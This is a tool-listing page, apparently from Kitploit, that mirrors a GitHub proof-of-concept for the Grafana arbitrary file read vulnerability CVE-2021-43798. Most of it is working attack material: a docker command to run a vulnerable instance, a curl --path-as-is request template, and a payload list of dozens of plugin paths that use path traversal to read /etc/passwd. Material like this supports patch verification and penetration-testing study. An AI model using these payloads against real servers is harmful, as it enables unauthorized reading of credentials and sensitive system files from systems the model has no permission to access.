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CVE-2021-43798 — Proof-of-concept exploit for Grafana arbitrary file reading vulnerability (CVE-2021-43798) affecting versions 8.0.0 to 8.3.0, demonstrating unauthorized access to sensitive files via path traversal. | Kitploit
Tools/GitHubGitHub/lalkaltest/cve-2021-43798
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHublalkaltest/cve-2021-43798

CVE-2021-43798

Proof-of-concept exploit for Grafana arbitrary file reading vulnerability (CVE-2021-43798) affecting versions 8.0.0 to 8.3.0, demonstrating unauthorized access to sensitive files via path traversal.

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4 years agoNot yet reviewed

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CVE-2021-43798

Grafana unauthorized arbitrary file reading vulnerability

On December 4, 2021, a security researcher revealed an arbitrary file reading vulnerability in Grafana on the Internet.
Unauthorized attackers can use this vulnerability to obtain sensitive files on the server.
The vulnerability CVE-2021-43798 have a 7.5 CVSS score.
Affected version : Grafana 8.0.0 to 8.3.0

Run a docker to test

root@kitploit:~
docker run -d --name=grafana -p 3000:3000 grafana/grafana-enterprise:8.2.5

Attack

Get the available plugins

root@kitploit:~
http://IP:3000/api/plugins?embedded=0

Use a curl request

root@kitploit:~
curl --path-as-is http://IP:3000/URL_PATH

Url path example

root@kitploit:~
/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd
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